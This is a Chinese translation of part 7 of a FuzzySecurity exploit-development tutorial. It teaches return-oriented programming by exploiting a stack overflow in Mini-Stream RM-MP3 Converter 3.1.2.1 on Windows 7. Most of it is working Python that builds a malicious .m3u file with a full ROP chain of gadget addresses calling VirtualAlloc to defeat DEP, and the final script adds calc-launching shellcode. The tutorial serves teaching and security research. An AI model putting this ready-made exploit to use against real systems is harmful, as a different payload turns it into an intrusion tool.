返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需要你做很多的工作才能掌握它. 但是在次提醒本教 程不会覆盖 ROP 所有细节. 如果你想更好的理解 ROP 我推荐你看 corelanc0d3r s 的文章 我将用 "Mini-Stream RM-MP3 Converter 3.1.2.1" 来介绍这项技术. 之前的一个漏洞利用程序 在这里, 但是我们要做一些不一样的东西, 它更高效. 调试机器 :Windows 7( 任何 Windows 7 版本都可以, 我用的是 WIN7 PRO SP1) 坏字符 : \x00\x09\x0a 漏洞软件 : 下载 介绍 为什么要学习 ROP? 人们滥用堆栈溢出很多年. 为了减轻攻击带来的损失. 微软从 WIN XP SP2 和 WIN SERVER 2003 开始引进了一项新的安全措施对抗从不可执行区域范围执行代码. DEP( 数据执行保护 ) 包含两部分 : 硬件 DEP: CPU 置内存为不可执行 软件 DEP 支持硬件 DEP 的 CPU 会拒绝执行被标记为不可执行的 (NX) 内存页的代码. 这么做的目的是防 止攻击者将恶意代码注入的另外一个程序执行. 尤其是基于栈溢出的漏洞, 由于 DEP, 上的 shellcode 将不会被执行. 但 DEP 有时会造成程序意外错误, 因为程序有时候可能需要在不可 执行区域执行代码. 为了解决这个问题, 微软提供了两种 DEP 配置. Opt-In Mode:DEP 只对系统进程和特别定义的进程启用 Opt-Out Mode:DEP 对系统所有进程和服务启用, 除了禁用的进程. 这对漏洞利用意味着什么? 当我们尝试在启用 DEP 的内存执行代码, 程序将会返回一个访 问冲突 STATUS_ACCESS_VIOLATION (0xc0000005)". 然后程序就终止了. 对于攻击者来说这 显然不是好事. 但是有趣的是 DEP 可以被关闭, 这意味着调用某个 Windows API 可以把某段 不可执行区域设置为可执行. 主要的问题仍然是, 如果我们不能执行任何代码的话又怎么去调用这个 API 呢? 开始我们的 ROP( 返回导向编程 ). 这项技术最早由 Sebastian Krahmer 在 2005 的 SUSE Linux 提
出. 你可以在这里找到这篇文档. ROP 基本的思想是借助已经存在的代码块 ( 也叫配件 ), 这些 配件来自程序已经加载的模块, 用这些配件为我们的目标 API 设置参数. 我们可以在已加载 的模块中找到一些列以 retn 结尾的配件, 把这些配件的地址布置在堆栈上, 当控制 EIP 并返回时候, 程序就会跳去执行这些小配件, 而这些小配件是在别的模块代码段, 不受 DEP 的影 响. 这就是 ROP 的原理, 下面的这个例子可以帮助我们更好的理解它 : (1) 指针直接执行 retn (2) 指针指向一些指令 +retn ESP ->???????? => RETN ESP ->???????? => POP EAX # RETN???????? => RETN ffffffff => we put this value in EAX???????? => RETN???????? => INC EAX # RETN???????? => RETN???????? => XCHG EAX,EDX # RETN (1) 这里 retn 仅仅是增加 esp (2) 用配件将 EDX 清 0 相信你已经理解 ROP 的思想了. 下面我们列举所有的 ROP 配件一会会用它们布置目标 API 的参数, 目标 API 才是真正关闭 DEP 的函数. 这项技术成功的关键在于我们需要在未启用 ASLR 的模块去寻找这些小配件. 下面是不同的 API 在不同的系统下可用情况. 可以看到不止一种方法可以达到目的. 有些方法更普遍. 不同的 API 有不同的参数, 详细的 参数请看 MSDN. 一般而言系统模块都启用了 ASLR. 所以我们从软件自身加载的模块看是否 包含这些 API 的指针. 基本上有两种方式写 ROP (1) 把 API 需要的参数都放到寄存器, 用一个 push 指令把他们压入栈 ( 这是下面我们要做的 ) (2) 直接把 API 需要的参数布置到栈然后跳去这个 API 执行, 这种方法有点难. 最后我要提一点, 对 payload 创建一个完整的 ROP 也是可以的. 收集配件 漏洞利用比较抽象, 你得到的信息越多, 你看的就越清楚, 离成功也就越近. 让我们看看下 面这个 POC, BBBB 将会覆写 EIP.
#!/usr/bin/python import sys, struct file="crash.m3u" # Badchars: '\x00\x09\x0a' # crash = "http://." + "A"*17416 + "B"*4 + "C"*7572 writefile = open (file, "w") writefile.write( crash ) writefile.close() 老办法, 附加 Mini-Stream 到调试器然后打开 crash.m3u 文件. 你可以看到下图所示的崩溃. 有几点值得注意 :(1)ESP 指向我们的缓冲区真是好消息因为我们可以用 retn 指令地址覆写 EIP 从而跳到我们 ROP 链的开始. (2) 我们看到 ESP 指向 EIP+4 的位置, 稍后我们要填充着 4 个 字节.
好. 我们基本搞清了内存布局. 用 mona 看看软件加载了哪些模块 ( 记住只要没有 non-base, no-aslr,no 坏字符 ). 看起来只有一个 dll 符合要求 (MSRMfilter03.dll). 接下来用 mona 搜索 ROP 链需要的小配件. 分别执行这两个命令 :!mona modules!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a' 最后就是用 mona 在 MSRMfilter03.dll 找到这些小配件, mona 会生成几个重要的文件 :
rop.txt (ROP 配件的原始列表 ), rop_suggestions.txt ( 基于函数过滤后的 ROP 配件列表 ), stackpivot.txt ( 转移 ESP 的配件 ), rop_virtualprotect.txt ( 基于 VirtualProtect 函数的 ROP 链小 配件 ). 我建议打开这些文件方便随时参考. 尽管我们将要用 VirtualAlloc 去禁用 DEP, 我们同样会看看 rop_virtualprotect.txt 是否有我们需要的小配件.!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a' 构建 ROP-Chain 在开始之前, 像之前看到的我们可以用 retn 指令地址覆写 EIP, 如果你打开 rop.txt 你可以选 择其中一个 retn 地址, 用这个地址替换 BBBB, 别忘记填充 4 个自己 (ESP=EIP+4) #!/usr/bin/python import sys, struct file="crash.m3u" rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP
# Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 不错, 下面看看 VirtualAlloc 这个 API. 我建议你花点时间读下 MSDN 文件, 便于更好理解我 们要使用的参数. VirtualAlloc: MSDN 结构 : 参数 : LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc() ); _In_opt_ LPVOID lpaddress, => Return Address (Redirect Execution to ESP) _In_ SIZE_T dwsize, => dwsize (0x1) _In_ DWORD flallocationtype, => flallocationtype (0x1000) _In_ DWORD flprotect => flprotect (0x40) 可以看到大部分参数值只需要保持默认即可. 你同样可以用 VirtualProtect 这个 API 去完成任务. VirtualProtect: MSDN 结构 : 参数 : BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect() _In_ LPVOID lpaddress, => Return Address (Redirect Execution to ESP) ); _In_ SIZE_T dwsize, => dwsize up to you to chose as needed (0x201) _In_ DWORD flnewprotect, => flnewprotect (0x40) _Out_ PDWORD lpfloldprotect => A writable pointer 记住这些信息, 开始改变我们的 POC, 使我们对 ROP-Chain 有更清晰的认识 #!/usr/bin/python import sys, struct file="crash.m3u" #---------------------------------------------------------[Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # #---------------------------------------------------[Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX 90909090 => Nop # # ECX 00000040 => flprotect # # EDX 00001000 => flallocationtype # # EBX 00000001 => dwsize # # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 # # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 现在我们的任务是把 ROP-Chain 综合在一起设置 VirtualAlloc 的值. 我们需要整理这些指针, 因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的 (1) EDI -> We need to put a ROP-Nop in EDI 0x10029b57 # POP EDI # RETN 0x1002b9ff # ROP-Nop (we already have this value from EIP) (2) EBP -> Redirect Execution flow to ESP 0x100532ed # POP EBP # RETN 0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
(3) EAX -> Fill with a regular NOP 0x10030361 # POP EAX # RETN 0x90909090 # NOP (just a regular NOP) (4) We need to end our chain with a PUSHAD 0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt) 别的一些可能令人费解, 需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的 ROP-Chain, 但这并不是唯一的选择. 布置 ROP 链有很多的方式, 发挥你 的创造力吧. (5) EBX -> dwsize (0x1) 0x10013b1c # POP EBX # RETN 0xffffffff # will be 0x1 (EBX will be set to 0xffffffff) 0x100319d3 # INC EBX # FPATAN # RETN \ Increasing EBX twice will set EBX to 0x00000001 0x100319d3 # INC EBX # FPATAN # RETN / (6) EDX -> flallocationtype (0x1000) 0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations) 0x41414141 # padding for POP EBP (compensation for the POP) 0x10013b1c # POP EBX # RETN 0x1A750FFF # ebx+edx => 0x1000 flallocationtype (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF) 0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000) 0x1002b9ff # Rop-Nop to compensate \ 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate This is to compensate for the POP and RETN 10 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate / (7) ECX -> flprotect (0x40) (This technique works because EDX points to a valid memory location at run-time!! I tested this on windows XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more universal.) 0x100280de # POP ECX # RETN 0xffffffff # will become 0x40 (ECX will be set to 0xffffffff) 0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN 0x00000001 0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN / 0x1002a487 # ADD ECX,ECX # RETN \ \ ECX will be set to
0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040 0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN / (8) ESI -> VirtualAlloc (We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at that pointer. Again here EBP points to a valid memory address (untested on XP).) 0x1002ba02 # POP EAX # RETN 0x1005d060 # kernel32.virtualalloc 0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060) 0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI) 有些序列似乎有点复杂, 但他们不是很难理解, 需要一些时间来看看, 理解它们 正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我 们的 ROP 链. 是时候把所有东西放在一起, 调整我们的 POC 如下 : #!/usr/bin/python import sys, struct file="crash.m3u" #---------------------------------------------------------[Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) # # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # #---------------------------------------------------[Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX 90909090 => Nop # # ECX 00000040 => flprotect # # EDX 00001000 => flallocationtype # # EBX 00000001 => dwsize #
# ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 # # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP rop += struct.pack('<l',0x10029b57) # POP EDI # RETN rop += struct.pack('<l',0x1002b9ff) # ROP-Nop #-----------------------------------------[ROP-Nop -> EDI]-# rop += struct.pack('<l',0x100280de) # POP ECX # RETN rop += struct.pack('<l',0xffffffff) # will become 0x40 rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN #--------------------------------[flprotect (0x40) -> ECX]-# rop += struct.pack('<l',0x1002ba02) # POP EAX # RETN rop += struct.pack('<l',0x1005d060) # kernel32.virtualalloc rop += struct.pack('<l',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<l',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN #------------------------------------[VirtualAlloc -> ESI]-# rop += struct.pack('<l',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN rop += struct.pack('<l',0x41414141) # padding for POP EBP rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0x1a750fff) # ebx+edx => 0x1000 flallocationtype rop += struct.pack('<l',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10 #-----------------------[flallocationtype (0x1000) -> EDX]-# rop += struct.pack('<l',0x100532ed) # POP EBP # RETN rop += struct.pack('<l',0x100371f5) # CALL ESP #----------------------------------------[CALL ESP -> EBP]-# rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0xffffffff) # will be 0x1 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN #------------------------------------[dwsize (0x1) -> EBX]-# rop += struct.pack('<l',0x10030361) # POP EAX # RETN rop += struct.pack('<l',0x90909090) # NOP #---------------------------------------------[NOP -> EAX]-# rop += struct.pack('<l',0x10014720) # PUSHAD # RETN #----------------------------------------[PUSHAD -> pwnd!]-# # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 你可以调试这个 ROP 链, 以确保一切按计划进行. 在下面的截图中可以看到 VirtualAlloc 是在 堆栈上被调用的. 布置在后面的任何代码都会被执行.
Shellcode+ 游戏结束 ROP 第二阶段就是要插入我们要执行的 shellcode, 由于我们没有分配大量的内存, 所以我们 可控的空间是有限的. 没关系, 我使用 SkyLined 的 calc 这里 ). 但其实可以分配更大内存的, 这留给你们去完成. #!/usr/bin/python shellcode( 有兴趣的话你可以看看 #----------------------------------------------------------------------------------# # Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u) # # OS: Win7 Pro SP1 # # Author: b33f (Ruben Boonen) # # Software: http://www.exploit-db.com/wp-content/themes/exploit/applications # # /ce47c348747cd05020b242da250c0da3-mini-streamrm-mp3converter.exe # #----------------------------------------------------------------------------------# # This exploit was created for Part 7 of my Exploit Development tutorial # # series - http://www.fuzzysecurity.com/tutorials/expdev/7.html # #----------------------------------------------------------------------------------# import sys, struct file="crash.m3u" #---------------------------------------------------------[Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) # # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # #---------------------------------------------------[Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX 90909090 => Nop # # ECX 00000040 => flprotect # # EDX 00001000 => flallocationtype # # EBX 00000001 => dwsize # # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP rop += struct.pack('<l',0x10029b57) # POP EDI # RETN rop += struct.pack('<l',0x1002b9ff) # ROP-Nop #-----------------------------------------[ROP-Nop -> EDI]-# rop += struct.pack('<l',0x100280de) # POP ECX # RETN rop += struct.pack('<l',0xffffffff) # will become 0x40 rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN #--------------------------------[flprotect (0x40) -> ECX]-# rop += struct.pack('<l',0x1002ba02) # POP EAX # RETN rop += struct.pack('<l',0x1005d060) # kernel32.virtualalloc rop += struct.pack('<l',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<l',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN #------------------------------------[VirtualAlloc -> ESI]-# rop += struct.pack('<l',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN rop += struct.pack('<l',0x41414141) # padding for POP EBP rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0x1a750fff) # ebx+edx => 0x1000 flallocationtype rop += struct.pack('<l',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10 #-----------------------[flallocationtype (0x1000) -> EDX]-# rop += struct.pack('<l',0x100532ed) # POP EBP # RETN rop += struct.pack('<l',0x100371f5) # CALL ESP #----------------------------------------[CALL ESP -> EBP]-# rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0xffffffff) # will be 0x1 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN #------------------------------------[dwsize (0x1) -> EBX]-# rop += struct.pack('<l',0x10030361) # POP EAX # RETN
rop += struct.pack('<l',0x90909090) # NOP #---------------------------------------------[NOP -> EAX]-# rop += struct.pack('<l',0x10014720) # PUSHAD # RETN #----------------------------------------[PUSHAD -> pwnd!]-# # SkyLined's Calc shellcode calc = ( "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64" "\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b" "\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20" "\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x42\xad\x81\x3c\x07" "\x57\x69\x6e\x45\x75\xf5\x0f\xb7\x54\x51\xfe\x8b\x74" "\x1f\x1c\x01\xfe\x03\x3c\x96\xff\xd7") # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # shell = "\x90"*5 + calc crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + shell + "C"*(7572-len(rop + shell)) writefile = open (file, "w") writefile.write( crash ) writefile.close()
原文链接 :http://www.fuzzysecurity.com/tutorials/expdev/7.html